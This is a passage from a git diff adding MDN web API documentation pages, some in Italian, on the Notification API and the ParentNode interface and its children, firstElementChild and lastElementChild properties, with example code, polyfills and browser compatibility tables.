+ <dt>{{domxref("Notification.onshow")}}</dt>
+ <dd>A handler for the {{event("show")}} event. It is triggered when the notification is displayed.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<h3 id="Static_methods">Static methods</h3>
+
+<p>These methods are available only on the <code>Notification</code> object itself.</p>
+
+<dl>
+ <dt>{{domxref("Notification.requestPermission()")}}</dt>
+ <dd>Requests permission from the user to display notifications.</dd>
+</dl>
+
+<h3 id="Instance_methods">Instance methods</h3>
+
+<p>These properties are available only on an instance of the <code>Notification</code> object or through its <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain"><code>prototype</code></a>. The <code>Notification</code> object also inherits from the {{domxref("EventTarget")}} interface.</p>
+
+<dl>
+ <dt>{{domxref("Notification.close()")}}</dt>
+ <dd>Programmatically closes a notification.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>Assume this basic HTML:</p>
+
+<pre class="brush: html">&lt;button onclick="notifyMe()"&gt;Notify me!&lt;/button&gt;</pre>
+
+<p>It's possible to send a notification as follows — here we present a fairly verbose and complete set of code you could use if you wanted to first check whether notifications are supported, then check if permission has been granted for the current origin to send notifications, then request permission if required, before then sending a notification.</p>
+
+<pre class="brush: js">function notifyMe() {
+  // Let's check if the browser supports notifications
+  if (!("Notification" in window)) {
+    alert("This browser does not support desktop notification");
+  }
+
+  // Let's check whether notification permissions have already been granted
+  else if (Notification.permission === "granted") {
+    // If it's okay let's create a notification
+    var notification = new Notification("Hi there!");
+  }
+
+  // Otherwise, we need to ask the user for permission
+  else if (Notification.permission !== 'denied') {
+    Notification.requestPermission(function (permission) {
+      // If the user accepts, let's create a notification
+      if (permission === "granted") {
+        var notification = new Notification("Hi there!");
+      }
+    });
+  }
+
+  // At last, if the user has denied notifications, and you
+  // want to be respectful there is no need to bother them any more.
+}</pre>
+
+<p>{{EmbedLiveSample('Example', '100%', 30)}}</p>
+
+<p>In many cases, you don't need to be this verbose. For example, in our <a href="http://mdn.github.io/emogotchi/">Emogotchi demo</a> (<a href="https://github.com/mdn/emogotchi">see source code</a>), we simply run {{domxref("Notification.requestPermission")}} regardless to make sure we can get permission to send notifications (this uses the newer promise-based method syntax):</p>
+
+<pre class="brush: js">Notification.requestPermission().then(function(result) {
+  console.log(result);
+});</pre>
+
+<p>Then we run a simple <code>spawnNotification()</code> function when we want to fire a notification — this is passed arguments to specify the body, icon and title we want, then it creates the necessary <code>options</code> object and fires the notification using the {{domxref("Notification.Notification","Notification()")}} constructor.</p>
+
+<pre class="brush: js">function spawnNotification(theBody,theIcon,theTitle) {
+  var options = {
+      body: theBody,
+      icon: theIcon
+  }
+  var n = new Notification(theTitle,options);
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+    22</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0 {{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>6<sup>[3]</sup></td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+    22</td>
+   <td>{{CompatUnknown}}</td>
+   <td>4.0 {{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>silent</code></td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>noscreen</code>, <code>sticky</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>sound</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>renotify</code></td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Promise-based <code>Notification.requestPermission()</code></td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("47.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(40)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>vibrate</code>, <code>actions</code></td>
+   <td>{{CompatChrome(53.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatOpera(39)}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>badge</code></td>
+   <td>{{CompatChrome(53.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatOpera(39)}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>image</code></td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0{{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+    1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>4.0{{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+    1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>silent</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>noscreen</code>, <code>sticky</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>sound</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>renotify</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Promise-based <code>Notification.requestPermission()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("47.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>vibrate</code>, <code>actions</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(53.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatOperaMobile(39)}}</td>
+   <td> </td>
+   <td>{{CompatChrome(53.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>badge</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(53.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatOperaMobile(39)}}</td>
+   <td> </td>
+   <td>{{CompatChrome(53.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>image</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+   <td>{{CompatChrome(55.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Before Chrome 22, the support for notification followed an <a href="http://www.chromium.org/developers/design-documents/desktop-notifications/api-specification">old prefixed version of the specification</a> and used the {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} object to instantiate a new notification.</p>
+
+<p>Before Chrome 32, {{domxref("Notification.permission")}} was not supported.</p>
+
+<p>Before Chrome 42, service worker additions were not supported.</p>
+
+<p>Starting in Chrome 49, notifications do not work in incognito mode.</p>
+
+<p>[2] Prior to Firefox 22 (Firefox OS &lt;1.2), the instantiation of a new notification must be done with the {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} object through its <code>createNotification</code> method.</p>
+
+<p>Prior to Firefox 22 (Firefox OS &lt;1.2), the Notification was displayed when calling the <code>show</code> method and supported only the <code>click</code> and <code>close</code> events.</p>
+
+<p>Nick Desaulniers wrote a <a href="https://github.com/nickdesaulniers/fxos-irc/blob/master/js/notification.js">Notification shim</a> to cover both newer and older implementations.</p>
+
+<p>One particular Firefox OS issue is that you can <a href="https://github.com/nickdesaulniers/fxos-irc/blob/0160cf6c3a2b5c9fe33822aaf6bcba3b7e846da9/my.js#L171">pass a path to an icon</a> to use in the notification, but if the app is packaged you cannot use a relative path like <code>/my_icon.png</code>. You also can't use <code>window.location.origin + "/my_icon.png"</code> because <code>window.location.origin</code> is null in packaged apps. The <a href="https://developer.mozilla.org/en-US/Apps/Developing/Manifest#origin">manifest origin field</a> fixes this, but it is only available in Firefox OS 1.1+. A potential solution for supporting Firefox OS &lt;1.1 is to <a href="https://github.com/nickdesaulniers/fxos-irc/blob/0160cf6c3a2b5c9fe33822aaf6bcba3b7e846da9/my.js#L168">pass an absolute URL to an externally hosted version of the icon</a>. This is less than ideal as the notification is displayed immediately without the icon, then the icon is fetched, but it works on all versions of Firefox OS.</p>
+
+<p>When using notifications  in a Firefox OS app, be sure to add the <code>desktop-notification</code> permission in your manifest file. Notifications can be used at any permission level, hosted or above: <code>"permissions": { "desktop-notification": {} }</code></p>
+
+<p>[3] Safari started to support notification with Safari 6, but only on Mac OSX 10.8+ (Mountain Lion).</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a></li>
+</ul>
diff --git a/files/it/web/api/parentnode/children/index.html b/files/it/web/api/parentnode/children/index.html
new file mode 100644
index 0000000000..7bedb73eed
--- /dev/null
+++ b/files/it/web/api/parentnode/children/index.html
@@ -0,0 +1,95 @@
+---
+title: ParentNode.children
+slug: Web/API/ParentNode/children
+tags:
+  - API
+  - Child
+  - Child Nodes
+  - DOM
+  - HTMLCollection
+  - Node
+  - ParentNode
+  - Proprietà
+  - children
+translation_of: Web/API/ParentNode/children
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p><span class="seoSummary">La proprietà {{domxref("ParentNode")}} <code><strong>children</strong></code><strong> </strong>è una proprietà di sola lettura che restituisce una {{domxref("HTMLCollection")}} dinamica che contiene tutti gli {{domxref("Element","elements")}} figli del nodo su cui è stato chiamato.</span></p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <em>children</em> = <em>node</em>.children;</pre>
+
+<h3 id="Valore">Valore</h3>
+
+<p>Una {{ domxref("HTMLCollection") }} che è dimanica, raccolta ordinata degli elementi DOM che sono figli di <code>node</code>. È possibile accedere ai singoli nodi figlio nella raccolta utilizzando il metodo {{domxref("HTMLCollection.item", "item()")}} nella collezione o utilizzando la notazione in stile array JavaScript.</p>
+
+<p>Se il nodo non ha elementi figli, <code>children</code> è una lista vuota con una <code>length</code> di <code>0</code>.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: js">var foo = document.getElementById('foo');
+for (var i = 0; i &lt; foo.children.length; i++) {
+    console.log(foo.children[i].tagName);
+}
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">// Sovrascrive il prototipo nativo di "children".
+// Aggiunge il supporto Document e DocumentFragment per IE9 &amp; Safari.
+// Restituisce un array invece di una HTMLCollection.
+;(function(constructor) {
+    if (constructor &amp;&amp;
+        constructor.prototype &amp;&amp;
+        constructor.prototype.children == null) {
+        Object.defineProperty(constructor.prototype, 'children', {
+            get: function() {
+                var i = 0, node, nodes = this.childNodes, children = [];
+                while (node = nodes[i++]) {
+                    if (node.nodeType === 1) {
+                        children.push(node);
+                    }
+                }
+                return children;
+            }
+        });
+    }
+})(window.Node || window.Element);
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-children', 'ParentNode.children')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.ParentNode.children")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Le interfacce {{domxref("ParentNode")}} e {{domxref("ChildNode")}}.</li>
+ <li>
+  <div class="syntaxbox">Tipi di oggetti che implementano questa interfaccia: {{domxref("Document")}}, {{domxref("Element")}}, e {{domxref("DocumentFragment")}}.</div>
+ </li>
+ <li>
+  <div class="syntaxbox">{{domxref("Node.childNodes")}}</div>
+ </li>
+</ul>
diff --git a/files/it/web/api/parentnode/firstelementchild/index.html b/files/it/web/api/parentnode/firstelementchild/index.html
new file mode 100644
index 0000000000..472b7737a3
--- /dev/null
+++ b/files/it/web/api/parentnode/firstelementchild/index.html
@@ -0,0 +1,99 @@
+---
+title: ParentNode.firstElementChild
+slug: Web/API/ParentNode/firstElementChild
+tags:
+  - API
+  - DOM
+  - ParentNode
+  - Proprietà
+translation_of: Web/API/ParentNode/firstElementChild
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><span style="font-family: verdana,tahoma,sans-serif;">La proprietà </span><strong><code>ParentNode.firstElementChild</code></strong> <span style="font-family: verdana,tahoma,sans-serif;">di sola lettura </span>restituisce il primo figlio {{domxref("Element")}} dell'oggetto, oppure <code>null</code> se non ha elementi figli.</p>
+
+<div class="note">
+<p>Questa proprietà era inizialmente definita nell'interfaccia pura {{domxref("ElementTraversal")}} pure interface. Poiché questa interfaccia conteneva due distinti set di proprietà, una diretta al {{domxref("Node")}} che ha figli, una a quelli che sono figli, sono stati spostati in due interfacce pure separate, {{domxref("ParentNode")}} e {{domxref("ChildNode")}}. In questo caso, <code>firstElementChild</code> è stato spostato su {{domxref("ParentNode")}}. Questa è una modifica abbastanza tecnica che non dovrebbe influire sulla compatibilità.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Sintassi</h2>
+
+<pre class="syntaxbox">var <em>element</em> = node.firstElementChild;
+</pre>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<pre class="brush: html">&lt;ul id="foo"&gt;
+  &lt;li&gt;First  (1)&lt;/li&gt;
+  &lt;li&gt;Second (2)&lt;/li&gt;
+  &lt;li&gt;Third  (3)&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;script&gt;
+var foo = document.getElementById('foo');
+// yields: First  (1)
+console.log(foo.firstElementChild.textContent);
+&lt;/script&gt;
+</pre>
+
+<h2 id="Polyfill_per_IE8_IE9_e_Safari">Polyfill per IE8, IE9 e Safari</h2>
+
+<pre class="brush: js">// Overwrites native 'firstElementChild' prototype.
+// Adds Document &amp; DocumentFragment support for IE9 &amp; Safari.
+// Returns array instead of HTMLCollection.
+;(function(constructor) {
+    if (constructor &amp;&amp;
+        constructor.prototype &amp;&amp;
+        constructor.prototype.firstElementChild == null) {
+        Object.defineProperty(constructor.prototype, 'firstElementChild', {
+            get: function() {
+                var node, nodes = this.childNodes, i = 0;
+                while (node = nodes[i++]) {
+                    if (node.nodeType === 1) {
+                        return node;
+                    }
+                }
+                return null;
+            }
+        });
+    }
+})(window.Node || window.Element);
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-firstelementchild', 'ParentNode.firstElementChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Diviso l'interfaccia <code>ElementTraversal</code> in {{domxref("ChildNode")}} e <code>ParentNode</code>. Questo metodo è ora definito su quest'ultimo.<br>
+    Il {{domxref("Document")}} e {{domxref("DocumentFragment")}} implementato le nuove interfacce.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-firstElementChild', 'ElementTraversal.firstElementChild')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Aggiunta la sua definizione iniziale all'interfaccia pura <code>ElementTraversal</code> e usarla su {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.ParentNode.firstElementChild")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Le interfacce pure {{domxref("ParentNode")}} e {{domxref("ChildNode")}}.</li>
+ <li>
+  <div class="syntaxbox">Tipi di oggetti che implementano questa pura interfaccia: {{domxref("Document")}}, {{domxref("Element")}}, e {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/it/web/api/parentnode/index.html b/files/it/web/api/parentnode/index.html
new file mode 100644
index 0000000000..2cbf79f11c
--- /dev/null
+++ b/files/it/web/api/parentnode/index.html
@@ -0,0 +1,90 @@
+---
+title: ParentNode
+slug: Web/API/ParentNode
+tags:
+  - API
+  - DOM
+  - Finding Elements
+  - Finding Nodes
+  - Interface
+  - Locating Elements
+  - Locating Nodes
+  - Managing Elements
+  - Managing Nodes
+  - Mixin
+  - NeedsTranslation
+  - Node
+  - ParentNode
+  - Reference
+  - Selectors
+  - TopicStub
+translation_of: Web/API/ParentNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">The <code><strong>ParentNode</strong></code> mixin contains methods and properties that are common to all types of {{domxref("Node")}} objects that can have children.</span> It's implemented by {{domxref("Element")}}, {{domxref("Document")}}, and {{domxref("DocumentFragment")}} objects.</p>
+
+<p>See <a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Locating DOM elements using selectors</a> to learn how to use <a href="/en-US/docs/Web/CSS/CSS_Selectors">CSS selectors</a> to find nodes or elements of interest.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+	<dt>{{domxref("ParentNode.childElementCount")}} {{readonlyInline}}</dt>
+	<dd>Returns the number of children of this <code>ParentNode</code> which are elements.</dd>
+	<dt>{{domxref("ParentNode.children")}} {{readonlyInline}}</dt>
+	<dd>Returns a live {{domxref("HTMLCollection")}} containing all of the {{domxref("Element")}} objects that are children of this <code>ParentNode</code>, omitting all of its non-element nodes.</dd>
+	<dt>{{domxref("ParentNode.firstElementChild")}} {{readonlyInline}}</dt>
+	<dd>Returns the first node which is both a child of this <code>ParentNode</code> <em>and</em> is also an <code>Element</code>, or <code>null</code> if there is none.</dd>
+	<dt>{{domxref("ParentNode.lastElementChild")}} {{readonlyInline}}</dt>
+	<dd>Returns the last node which is both a child of this <code>ParentNode</code> <em>and</em> is an <code>Element</code>, or <code>null</code> if there is none.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+	<dt>{{domxref("ParentNode.append()")}} {{experimental_inline}}</dt>
+	<dd>Inserts a set of {{domxref("Node")}} objects or {{domxref("DOMString")}} objects after the last child of the <code>ParentNode</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+	<dt>{{domxref("ParentNode.prepend()")}} {{experimental_inline}}</dt>
+	<dd>Inserts a set of {{domxref("Node")}} objects or {{domxref("DOMString")}} objects before the first child of the <code>ParentNode</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+	<dt>{{domxref("ParentNode.querySelector()")}}</dt>
+	<dd>Returns the first {{domxref("Element")}} with the current element as root that matches the specified group of selectors.</dd>
+	<dt>{{domxref("ParentNode.querySelectorAll()")}}</dt>
+	<dd>Returns a {{domxref("NodeList")}} representing a list of elements with the current element as root that matches the specified group of selectors.</dd>
+</dl>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+	<tbody>
+		<tr>
+			<th scope="col">Specification</th>
+			<th scope="col">Status</th>
+			<th scope="col">Comment</th>
+		</tr>
+		<tr>
+			<td>{{SpecName('DOM WHATWG', '#parentnode', 'ParentNode')}}</td>
+			<td>{{Spec2('DOM WHATWG')}}</td>
+			<td>Split the <code>ElementTraversal</code> interface into {{domxref("ChildNode")}} and {{domxref("ParentNode")}}. The {{domxref("ParentNode.firstElementChild")}}, {{domxref("ParentNode.lastElementChild")}}, and {{domxref("ParentNode.childElementCount")}} properties are now defined on the latter. Added the {{domxref("ParentNode.children")}} property, and the {{domxref("ParentNode.querySelector()")}}, {{domxref("ParentNode.querySelectorAll()")}}, {{domxref("ParentNode.append()")}}, and {{domxref("ParentNode.prepend()")}} methods.</td>
+		</tr>
+		<tr>
+			<td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+			<td>{{Spec2('Element Traversal')}}</td>
+			<td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and used it on {{domxref("Element")}}.</td>
+		</tr>
+	</tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ParentNode")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+	<li>The {{domxref("ChildNode")}} pure interface.</li>
+	<li>
+	<div class="syntaxbox">Object types implementing this mixin: {{domxref("Document")}}, {{domxref("Element")}}, and {{domxref("DocumentFragment")}}.</div>
+	</li>
+</ul>
diff --git a/files/it/web/api/parentnode/lastelementchild/index.html b/files/it/web/api/parentnode/lastelementchild/index.html
new file mode 100644
index 0000000000..006a3a316d
--- /dev/null
+++ b/files/it/web/api/parentnode/lastelementchild/index.html
@@ -0,0 +1,98 @@
+---
+title: ParentNode.lastElementChild
+slug: Web/API/ParentNode/lastElementChild
+tags:
+  - API
+  - DOM
+  - ParentNode
+  - Proprietà
+translation_of: Web/API/ParentNode/lastElementChild
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La proprietà <strong><code>ParentNode.LastElementChild</code></strong> di sola lettura restituisce l'ultimo figlio <a href="https://developer.mozilla.org/it/docs/Web/API/Element" title="Element è la classe base più generale da cui ereditano tutti gli oggetti in un Document. Ha solo metodi e proprietà comuni a tutti i tipi di elementi. Classi più specifiche ereditano da Element."><code>Element</code></a> dell'oggetto, oppure <code>null</code> se non ha elementi figli.</p>
+
+<div class="note">
+<p>Questa proprietà era inizialmente definita nell'interfaccia pura {{domxref("ElementTraversal")}} pure interface. Poiché questa interfaccia conteneva due distinti set di proprietà, una diretta al {{domxref("Node")}} che ha figli, una a quelli che sono figli, sono stati spostati in due interfacce pure separate, {{domxref("ParentNode")}} e {{domxref("ChildNode")}}. In questo caso, <code>lastElementChild</code> è stato spostato su {{domxref("ParentNode")}}. Questa è una modifica abbastanza tecnica che non dovrebbe influire sulla compatibilità.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Sintassi</h2>
+
+<pre class="syntaxbox">var <em>element</em> = node.lastElementChild; </pre>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<pre class="brush: html">&lt;ul id="foo"&gt;
+  &lt;li&gt;First  (1)&lt;/li&gt;
+  &lt;li&gt;Second (2)&lt;/li&gt;
+  &lt;li&gt;Third  (3)&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;script&gt;
+var foo = document.getElementById('foo');
+// yields: Third  (3)
+console.log(foo.lastElementChild.textContent);
+&lt;/script&gt;
+</pre>
+
+<h2 id="Polyfill_per_IE8_IE9_e_Safari">Polyfill per IE8, IE9 e Safari</h2>
+
+<pre class="brush: js">// Overwrites native 'lastElementChild' prototype.
+// Adds Document &amp; DocumentFragment support for IE9 &amp; Safari.
+// Returns array instead of HTMLCollection.
+;(function(constructor) {
+    if (constructor &amp;&amp;
+        constructor.prototype &amp;&amp;
+        constructor.prototype.lastElementChild == null) {
+        Object.defineProperty(constructor.prototype, 'lastElementChild', {
+            get: function() {
+                var node, nodes = this.childNodes, i = nodes.length - 1;
+                while (node = nodes[i--]) {
+                    if (node.nodeType === 1) {
+                        return node;
+                    }
+                }
+                return null;
+            }
+        });
+    }
+})(window.Node || window.Element);
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-firstelementchild', 'ParentNode.firstElementChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Diviso l'interfaccia <code>ElementTraversal</code> in {{domxref("ChildNode")}} e <code>ParentNode</code>. Questo metodo è ora definito su quest'ultimo.<br>
+    Il {{domxref("Document")}} e {{domxref("DocumentFragment")}} implementato le nuove interfacce.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-firstElementChild', 'ElementTraversal.firstElementChild')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
